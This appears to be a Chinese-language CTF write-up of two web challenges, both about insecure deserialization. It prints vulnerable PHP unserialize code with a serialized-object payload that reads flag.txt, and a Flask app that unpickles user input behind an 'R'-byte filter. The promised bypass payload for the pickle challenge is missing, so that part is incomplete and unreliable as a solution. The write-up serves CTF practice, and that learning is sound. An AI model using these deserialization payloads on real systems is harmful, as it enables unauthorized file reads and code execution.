web1
通过扫描目录的方式得到一个index.zip的压缩包,解压之后得到一个index.php和shield.php文件,发现里面是源码
index.php
<?php
header("content-type:text/html;charset=utf-8");
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
echo ("有惊喜,藏着好东西呢!");
?>
shield.php
<?php
//flag is in flag.txt
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'\\')==FALSE) {
return file_get_contents($this->file);
}
}
}
?>
通过分析index.php文件可知,在访问index.php文件时,会调用shield.php文件,并且会传入classs参数,说明可以利用,unserialize这个函数存在漏洞,相关链接
通过利用,可以读取flag,payload: ?class=O:6:"Shield":1:{s:4:"file";s:8:"flag.txt";} 部分题payload不一样,这只是个参考。
web2
打开页面如下:
表格中提交数据
source.py文件:
import base64 import io import sys import pickle from flask import Flask, Response, render_template, request import secret app = Flask(__name__) class Animal: def __init__(self, name, category): self.name = name self.category = category def __repr__(self): return f'Animal(name={self.name!r}, category={self.category!r})' def __eq__(self, other): return type(other) is Animal and self.name == other.name and self.category == other.category class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module == '__main__': return getattr(sys.modules['__main__'], name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def restricted_loads(s): return RestrictedUnpickler(io.BytesIO(s)).load() def read(filename, encoding='utf-8'): with open(filename, 'r', encoding=encoding) as fin: return fin.read() @app.route('/', methods=['GET', 'POST']) def index(): if request.args.get('source'): return Response(read(__file__), mimetype='text/plain') if request.method == 'POST': try: pickle_data = request.form.get('data') if b'R' in base64.b64decode(pickle_data): # 不能包含R字符 return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.' else: result = restricted_loads(base64.b64decode(pickle_data)) # 被反序列化 if type(result) is not Animal: return 'Are you sure that is an animal???' correct = (result == Animal(secret.name, secret.category)) # 对比是否一致 return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct) except Exception as e: print(repr(e)) return "Something wrong" sample_obj = Animal('一给我哩giaogiao', 'Giao') pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode() return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data) if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)
secret.py文件:
secret="this_is_the_secret_in_secret.py"
通过这几个对比,进行题解
这里难点主要是过滤了R字符。
通过运行该payload:
得到所需答案。
输入里面的base64方可得到flag.